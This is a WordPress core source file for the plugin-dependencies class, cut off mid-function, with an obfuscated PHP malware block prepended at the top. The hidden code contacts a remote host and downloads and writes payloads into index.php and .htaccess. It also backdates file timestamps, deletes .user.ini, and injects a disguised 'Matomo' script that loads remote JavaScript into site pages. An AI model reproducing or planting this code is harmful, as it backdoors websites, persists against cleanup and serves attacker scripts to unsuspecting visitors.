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<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
* WordPress Plugin Administration API: WP_Plugin_Dependencies class
*
* @package WordPress
* @subpackage Administration
* @since 6.5.0
*/
/**
* Core class for installing plugin dependencies.
*
* It is designed to add plugin dependencies as designated in the
* `Requires Plugins` header to a new view in the plugins install page.
*/
class WP_Plugin_Dependencies {
/**
* Holds 'get_plugins()'.
*
* @since 6.5.0
*
* @var array
*/
protected static $plugins;
/**
* Holds plugin directory names to compare with cache.
*
* @since 6.5.0
*
* @var array
*/
protected static $plugin_dirnames;
/**
* Holds sanitized plugin dependency slugs.
*
* Keyed on the dependent plugin's filepath,
* relative to the plugins directory.
*
* @since 6.5.0
*
* @var array
*/
protected static $dependencies;
/**
* Holds an array of sanitized plugin dependency slugs.
*
* @since 6.5.0
*
* @var array
*/
protected static $dependency_slugs;
/**
* Holds an array of dependent plugin slugs.
*
* Keyed on the dependent plugin's filepath,
* relative to the plugins directory.
*
* @since 6.5.0
*
* @var array
*/
protected static $dependent_slugs;
/**
* Holds 'plugins_api()' data for plugin dependencies.
*
* @since 6.5.0
*
* @var array
*/
protected static $dependency_api_data;
/**
* Holds plugin dependency filepaths, relative to the plugins directory.
*
* Keyed on the dependency's slug.
*
* @since 6.5.0
*
* @var string[]
*/
protected static $dependency_filepaths;
/**
* An array of circular dependency pairings.
*
* @since 6.5.0
*
* @var array[]
*/
protected static $circular_dependencies_pairs;
/**
* An array of circular dependency slugs.
*
* @since 6.5.0
*
* @var string[]
*/
protected static $circular_dependencies_slugs;
/**
* Whether Plugin Dependencies have been initialized.
*
* @since 6.5.0
*
* @var bool
*/
protected static $initialized = false;
/**
* Initializes by fetching plugin header and plugin API data.
*
* @since 6.5.0
*/
public static function initialize() {
if ( false === self::$initialized ) {
self::read_dependencies_from_plugin_headers();
self::get_dependency_api_data();
self::$initialized = true;
}
}
/**
* Determines whether the plugin has plugins that depend on it.
*
* @since 6.5.0
*
* @param string $plugin_file The plugin's filepath, relative to the plugins directory.
* @return bool Whether the plugin has plugins that depend on it.
*/
public static function has_dependents( $plugin_file ) {
return in_array( self::convert_to_slug( $plugin_file ), (array) self::$dependency_slugs, true );
}
/**
* Determines whether the plugin has plugin dependencies.
*
* @since 6.5.0
*
* @param string $plugin_file The plugin's filepath, relative to the plugins directory.
* @return bool Whether a plugin has plugin dependencies.
*/
public static function has_dependencies( $plugin_file ) {
return isset( self::$dependencies[ $plugin_file ] );
}
/**
* Determines whether the plugin has active dependents.
*
* @since 6.5.0
*
* @param string $plugin_file The plugin's filepath, relative to the plugins directory.
* @return bool Whether the plugin has active dependents.
*/
public static function has_active_dependents( $plugin_file ) {
require_once ABSPATH . '/wp-admin/includes/plugin.php';
$dependents = self::get_dependents( self::convert_to_slug( $plugin_file ) );
foreach ( $dependents as $dependent ) {
if ( is_plugin_active( $dependent ) ) {
return true;
}
}
return false;
}
/**
* Gets filepaths of plugins that require the dependency.
*
* @since 6.5.0
*
* @param string $slug The dependency's slug.
* @return array An array of dependent plugin filepaths, relative to the plugins directory.
*/
public static function get_dependents( $slug ) {
$dependents = array();
foreach ( (array) self::$dependencies as $dependent => $dependencies ) {
if ( in_array( $slug, $dependencies, true ) ) {
$dependents[] = $dependent;
}
}
return $dependents;
}
/**
* Gets the slugs of plugins that the dependent requires.
*
* @since 6.5.0
*
* @param string $plugin_file The dependent plugin's filepath, relative to the plugins directory.
* @return array An array of dependency plugin slugs.
*/
public static function get_dependencies( $plugin_file ) {
if ( isset( self::$dependencies[ $plugin_file ] ) ) {
return self::$dependencies[ $plugin_file ];
}
return array();
}
/**
* Gets a dependent plugin's filepath.
*
* @since 6.5.0
*
* @param string $slug The dependent plugin's slug.
* @return string|false The dependent plugin's filepath, relative to the plugins directory,
* or false if the plugin has no dependencies.
*/
public static function get_dependent_filepath( $slug ) {
$filepath = array_search( $slug, self::$dependent_slugs, true );
return $filepath ? $filepath : false;
}
/**
* Determines whether the plugin has unmet dependencies.
*
* @since 6.5.0
*
* @param string $plugin_file The plugin's filepath, relative to the plugins directory.
* @return bool Whether the plugin has unmet dependencies.
*/
public static function has_unmet_dependencies( $plugin_file ) {
if ( ! isset( self::$dependencies[ $plugin_file ] ) ) {
return false;
}
require_once ABSPATH . '/wp-admin/includes/plugin.php';
foreach ( self::$dependencies[ $plugin_file ] as $dependency ) {
$dependency_filepath = self::get_dependency_filepath( $dependency );
if ( false === $dependency_filepath || is_plugin_inactive( $dependency_filepath ) ) {
return true;
}
}
return false;
}
/**
* Determines whether the plugin has a circular dependency.
*
* @since 6.5.0
*
* @param string $plugin_file The plugin's filepath, relative to the plugins directory.
* @return bool Whether the plugin has a circular dependency.
*/
public static function has_circular_dependency( $plugin_file ) {
if ( ! is_array( self::$circular_dependencies_slugs ) ) {
self::get_circular_dependencies();
}
if ( ! empty( self::$circular_dependencies_slugs ) ) {
$slug = self::convert_to_slug( $plugin_file );
if ( in_array( $slug, self::$circular_dependencies_slugs, true ) ) {
return true;
}
}
return false;
}
/**
* Gets the names of plugins that require the plugin.
*
* @since 6.5.0
*
* @param string $plugin_file The plugin's filepath, relative to the plugins directory.
* @return array An array of dependent names.
*/
public static function get_dependent_names( $plugin_file ) {
$dependent_names = array();
$plugins = self::get_plugins();
$slug = self::convert_to_slug( $plugin_file );
foreach ( self::get_dependents( $slug ) as $dependent ) {
$dependent_names[ $dependent ] = $plugins[ $dependent ]['Name'];
}
sort( $dependent_names );
return $dependent_names;
}
/**
* Gets the names of plugins required by the plugin.
*
* @since 6.5.0
*
* @param string $plugin_file The dependent plugin's filepath, relative to the plugins directory.
* @return array An array of dependency names.
*/
public static function get_dependency_names( $plugin_file ) {
$dependency_api_data = self::get_dependency_api_data();
$dependencies = self::get_dependencies( $plugin_file );
$plugins = self::get_plugins();
$dependency_names = array();
foreach ( $dependencies as $dependency ) {
// Use the name if it's available, otherwise fall back to the slug.
